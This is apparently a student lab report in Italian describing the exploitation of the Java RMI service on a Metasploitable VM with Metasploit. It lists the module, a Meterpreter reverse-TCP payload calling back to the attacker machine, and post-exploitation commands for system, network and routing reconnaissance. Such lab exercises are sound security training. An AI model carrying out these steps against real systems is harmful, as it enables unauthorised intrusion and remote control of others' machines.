### **Resoconto Esercizio: Metasploitable Java RMI Exploitation**

#### **1. Verifica della connessione tra le due VM**

**Azione**: Utilizzo del comando ping dalla macchina attaccante per controllare la raggiungibilità della macchina attaccata.  
  
ping <IP\_MACCHINA\_ATTACCATA>

* **Risultato**: I pacchetti ICMP sono stati ricevuti con successo, confermando la connessione tra le due macchine.

#### **2. Individuare e caricare la vulnerabilità Java RMI in Metasploit**

**Azione 1**: Avvio del framework Metasploit.  
  
msfconsole

**Azione 2**: Ricerca del modulo per la vulnerabilità Java RMI.  
  
search java\_rmi

* **Modulo selezionato**: exploit/multi/misc/java\_rmi\_server

**Azione 3**: Configurazione del modulo:

* Impostazione del target con il comando set RHOST <IP\_MACCHINA\_ATTACCATA>.
* Definizione della porta con il comando set RPORT <PORTA\_RMI> (di default 1099).

Configurazione del payload:  
  
set PAYLOAD java/meterpreter/reverse\_tcp

set LHOST <IP\_MACCHINA\_ATTACCANTE>

set LPORT <PORTA\_ATTACCANTE>

**Azione 4**: Avvio dell'exploit.  
  
exploit

* **Risultato**: Accesso riuscito con Meterpreter nella macchina attaccata.

#### **3. Raccolta informazioni sulla macchina attaccata**

**Azione 1**: Ottenere informazioni sul sistema operativo della macchina compromessa.  
  
sysinfo

* **Output**: Versione del sistema operativo, architettura e dettagli del kernel.

**Azione 2**: Recupero delle configurazioni di rete e tabelle di routing.

Visualizzazione configurazioni di rete:  
  
ifconfig

* **Risultato**: Ottenute le interfacce di rete e gli indirizzi IP.

Estrazione delle tabelle di routing:  
  
route

* **Risultato**: Estratti i percorsi di rete attivi.

**Azione 3**: Creazione di screenshot per documentare le configurazioni.  
  
screenshot

* **Output**: Screenshot salvati della macchina attaccata, documentando interfacce di rete e tabelle di routing.